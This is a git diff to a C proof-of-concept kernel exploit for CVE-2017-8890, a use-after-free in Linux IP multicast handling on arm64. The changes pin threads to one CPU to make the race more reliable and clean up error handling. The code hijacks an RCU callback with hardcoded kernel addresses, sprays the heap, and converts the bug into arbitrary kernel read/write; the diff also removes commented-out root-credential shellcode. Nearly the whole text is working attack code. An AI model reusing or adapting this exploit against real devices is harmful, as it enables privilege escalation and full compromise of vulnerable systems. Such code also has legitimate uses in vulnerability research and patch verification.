diff --git a/CVE-2017-8890_PoC.c b/CVE-2017-8890_PoC.c index 5ef8395f7dbc6dfb9555e2328db853f4ea5249c0..1c083457bb682f92ba16b0b0aaa61ec228c6cde9 100644 --- a/CVE-2017-8890_PoC.c +++ b/CVE-2017-8890_PoC.c @@ -1,3 +1,6 @@ +#define _GNU_SOURCE + +#include <sched.h> #include <stdio.h> #include <stdlib.h> #include <sys/select.h> @@ -20,7 +23,8 @@ #define SPRAY_SIZE 250 #define KERNEL_SOCK_IOCTL 0xffffffc00050f518; -#define KERNEL_SOCK_IOCTL_RET 0xffffffc00050f550; //alternatively 0xffffffc00050f550 +#define KERNEL_SOCK_IOCTL_RET 0xffffffc00050f550; + /*(gdb) disassemble /s kernel_sock_ioctl Dump of assembler code for function kernel_sock_ioctl: ./arch/arm64/include/asm/thread_info.h: @@ -60,7 +64,8 @@ volatile int server_finish = 0; volatile int client_finish = 0; volatile int set_fake_next_rcu_init = 0; volatile int set_fake_next_rcu_finish = 0; -//volatile int shellcode_return = 0; +volatile int cpuid = 0; +cpu_set_t mask; int sockfd[SPRAY_SIZE]; char *fake_next_rcu_memory; @@ -123,27 +128,27 @@ struct proto_ops { volatile struct ip_mc_socklist *fake_next_rcu; -/*int (*printk)(const char *, ...) = (int (*)(const char *, ...))0xffffffc000141abc; -int (*commit_creds)(void *) = (int (*)(void *))0xffffffc0000d1310; -void *(*prepare_kernel_cred)(void *) = (void *(*)(void *))0xffffffc0000d1888; - -void shellcode(void *tmp) { - printk("Shellcode executing\n"); +void bind_on_cpu(int cpuid) { + int i, now_cpuid = -1; + cpu_set_t get; + CPU_ZERO(&mask); + CPU_SET(cpuid, &mask); - commit_creds(prepare_kernel_cred(NULL)); + while (cpuid != now_cpuid) { + sched_setaffinity(0, sizeof(mask), &mask); + now_cpuid = sched_getcpu(); + } - shellcode_return = 1337; return; -}*/ +} void *set_fake_next_rcu() { - //printf("[set_fake_next_rcu] shellcode address: 0x%016x\n", (uint64_t)&shellcode); + bind_on_cpu(cpuid); - printf("0x%02x 0x%02x\n", sizeof(struct socket), sizeof(struct proto_ops)); - - fake_next_rcu_memory = malloc(sizeof(struct ip_mc_socklist) + sizeof(struct socket) + sizeof(struct proto_ops) + 0x100); // that is a little bit more space then needed to be on the safe side - // fake_next_rcu and fake_socket overlap by 16 bytes and the start - // offset is a max of 0xff and not 0x100 + // that is a little bit more space then needed to be on the safe side + // fake_next_rcu and fake_socket overlap by 16 bytes and the start + // offset is a max of 0xff and not 0x100 + fake_next_rcu_memory = malloc(sizeof(struct ip_mc_socklist) + sizeof(struct socket) + sizeof(struct proto_ops) + 0x100); fake_next_rcu = (struct ip_mc_socklist *)((uint64_t)fake_next_rcu_memory | 0xff); struct socket *fake_socket = (struct socket *)&(fake_next_rcu->rcu); fake_socket->ops = (struct proto_ops *)(fake_next_rcu_memory + 0x100 + sizeof(struct ip_mc_socklist) + sizeof(struct socket)); @@ -152,7 +157,6 @@ void *set_fake_next_rcu() { set_fake_next_rcu_init = 1; while(!server_finish) { - //fake_next_rcu->rcu.func = (void (*))&shellcode; fake_next_rcu->rcu.func = (void (* volatile)(struct callback_head *))KERNEL_SOCK_IOCTL; } @@ -167,16 +171,22 @@ int read_at_address_pipe(void *address, void *buf, size_t len) { int ret = 1; int pipes[2]; - if (pipe(pipes)) + if (pipe(pipes)) { + perror("read_at_address_pipe pipe failed"); return 1; + } - if (write(pipes[1], address, len) != len) + if (write(pipes[1], address, len) == -1) { + perror("read_at_address_pipe write failed"); goto end; - if (read(pipes[0], buf, len) != len) + } + if (read(pipes[0], buf, len) == -1) { + perror("read_at_address_pipe read failed"); goto end; + } ret = 0; - end: +end: close(pipes[1]); close(pipes[0]); return ret; @@ -186,16 +196,22 @@ int write_at_address_pipe(void *address, void *buf, size_t len) { int ret = 1; int pipes[2]; - if (pipe(pipes)) + if (pipe(pipes)) { + perror("write_at_address_pipe pipe failed"); return 1; + } - if (write(pipes[1], buf, len) != len) + if (write(pipes[1], buf, len) != len) { + perror("write_at_address_pipe write failed"); goto end; - if (read(pipes[0], address, len) != len) + } + if (read(pipes[0], address, len) != len) { + perror("write_at_address_pipe read failed"); goto end; + } ret = 0; - end: +end: close(pipes[1]); close(pipes[0]); return ret; @@ -253,6 +269,8 @@ void heap_spray_finalize() { } void *server(void *arg) { + bind_on_cpu(cpuid); + struct sockaddr_in server_addr; bzero(&server_addr, sizeof(server_addr)); server_addr.sin_family = AF_INET; @@ -307,15 +325,11 @@ void *server(void *arg) { printf("[Server] Close server_socket\n"); close(server_socket); - //sleep(5); - - //printf("[Server] Shellcode return: %d\n", shellcode_return); - printf("Exploit complete, let's try arbitrary write.\n"); - char tester[8] = {}; - if (read_at_address_pipe((void *) 0xFFFFFFC000008000LL, &tester, 4)) { - perror("Turn UAF to arbitrary read/write failed"); - //while(1) {} + char tester[8] = {0}; + while (read_at_address_pipe((void *)0xffffffc000a7a830, &tester, 8)) { + printf("AAA\n"); + sleep(1); } printf("Turn UAF to arbitrary read/write succeeded.\n"); @@ -324,6 +338,8 @@ void *server(void *arg) { } void *client(void *arg) { + bind_on_cpu(cpuid); + struct sockaddr_in client_addr; bzero(&client_addr, sizeof(client_addr)); client_addr.sin_family = AF_INET; @@ -368,6 +384,9 @@ void *client(void *arg) { } int main(int argc, char *argv[]) { + cpuid = sched_getcpu(); + bind_on_cpu(cpuid); + heap_spray_init(); pthread_t id_server, id_client, id_set_fake_next_rcu;